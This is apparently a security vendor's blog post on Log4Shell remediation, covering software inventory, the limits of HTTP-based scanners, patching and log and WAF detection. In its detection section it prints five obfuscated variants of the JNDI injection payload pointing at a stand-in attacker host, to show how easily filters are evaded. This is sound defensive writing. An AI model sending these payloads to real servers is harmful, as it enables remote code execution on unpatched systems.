Log4j Vulnerability (Log4Shell): Ongoing Challenges in Remediation

From the start, it was clear that the Log4j vulnerability, also referred to as Log4Shell, would be widespread and present major challenges for organizations. These challenges include but are not limited to: proper and comprehensive identification and timely remediation across all impacted systems.

Why is addressing Log4j so challenging? When patching an impacted application, all of its dependencies may not be obvious. Transitive dependencies (the dependencies of dependencies) make the situation even harder and patching more difficult. As a result, we believe that Log4Shell promises a patching cycle with a long tail of vulnerable applications—some of which may remain undetected for years. 

Currently, Bitsight observes the average customer is using 25 software products known to be vulnerable to Log4j (based on DHS CISA’s list of “known vulnerable systems”). Additionally, we observe that the average Bitsight customer’s supply chain uses 84 affected software products known to be vulnerable to Log4j. In short, there is significant remediation to be performed internally and across the third-party landscape.

There are a number of Log4j scanners available to help organizations test if they are vulnerable—at least in a way that could be remotely exploited by attackers. At the U.S. Department of Homeland Security, CISA hosts a Log4J scanner in its Github repository and there are several other resources available both for online scanning and file system scanning. However, these scanners alone are not enough to ensure complete identification.

The Challenges With Log4j Scanning

Many Log4j scanners available today rely on HTTP. That is because many HTTP speaking servers, like web servers, use the Log4J library. Scanning, in this context, is the act of running a tool that tries to identify vulnerable web servers, by generating different kinds of payloads and using them in the HTTP request and/or headers in order to trigger the vulnerability.

One of the advantages of this approach is that it roughly mimics what the attackers are doing to get the maximum amount of low hanging fruit, as fast as possible. However, there are many remotely reachable services that depend on Log4J and not all of them speak HTTP. Similar to SQL injection, valid Log4j attack vectors might appear anywhere user controllable input is not filtered, ranging from a simple input field to files, to more esoteric ones, like access point names or QR codes.

We are fairly confident that these scanners will soon evolve, as more and more HTTP servers get patched and attackers seek new ways to trigger the vulnerability elsewhere. However, at the time of writing, the current crop of Log4j scanners can provide a false sense of security.

Protecting Against Log4Shell

In addition to scanning, there are some concrete steps organizations can take to protect themselves against Log4Shell.

Understand Exposure

It is not possible to protect assets if you don't know they exist. So, the first step to solve this issue is to understand the organization's exposure to Log4Shell. This involves knowing which software runs where. 

This, by itself, can be a huge task. If you don’t have a detailed software inventory, now is a good time to start. A complete and updated software inventory enables one to quickly check against a known vulnerable software list and start patching immediately.

To exhaustively identify the presence of software which uses a vulnerable version of Log4J on a system, it is also important to scan the filesystem. Several tools exist that can scan a filesystem for JAR files and even patch Log4J on the fly. 

Lastly, and only if the risk is acceptable, the Internet facing side (and intranet), should be scanned. 

Update and Patch

As the organization's vulnerable software is being identified, updating and patching should begin immediately, prioritizing Internet facing and/or easily reached assets. Now is a good time to review your organization patching cadence and its update policy and processes. Follow what your vendors recommend about the vulnerability, as some might offer an update right away while others provide guidance on how to mitigate the issue while an update is not yet published.

Detect and Mitigate

While understanding the exposure and updating is underway, there are some immediate steps you can take to detect and mitigate incoming attacks.

Log files should be analyzed for evidence of the Log4Shell attack signature. However, be aware that his vulnerability is prone to heavy obfuscation and simple string matching can be easily defeated. 

For illustration, bellow are variants of the same exact attack string:

${jndi:ldap://attacker.xyz/malicious.class}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.xyz/malicious.class}

${jndi:${lower:l}${lower:d}a${lower:p}://attacker.xyz/malicious.class}

${jndi:${lower:l}${lower:d}a${lower:p}://att${::-a}cker.xyz/m${::-a}licious.cl${::-a}ss}

${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//attacker.xyz/malicious.class}

Another way to immediately act and circumvent the lack of updates or patches for a particular piece of software, is with rules on your WAF or packet filtering firewall, if available. This might be particularly useful in case of legacy systems that cannot be updated in a timely fashion. 

Keep in mind that WAF filtering is extraordinarily hard to accomplish in this vulnerability, as you can see from some examples of payload encodings and bypasses, and should not be considered sufficient defense, but it can thwart many attacks.

Conclusion

Taking the steps outlined above can help protect your organization against risk associated with Log4Shell. However, as noted above, we believe that Log4Shell will have a long tail of vulnerable applications. While there is focus on the vulnerability right now, it is unlikely that the resolving issues associated with Log4Shell will be over any time soon. 

As outlined above, organizations should:

• Create a software inventory and compare against a known vulnerable software list
• Scan file system for presence of Log4Shell
• Scan Internet side for Log4Shell (if risk level is acceptable)
• Update and patch impacted systems
• Analyze log files for Log4Shell evidence and implement appropriate WAF filtering rules

Taking steps to resolve the issue now is critical, but don’t assume that mitigation will be a one and done event. Log4Shell is yet another reason why continuous improvement of your IT security program is essential.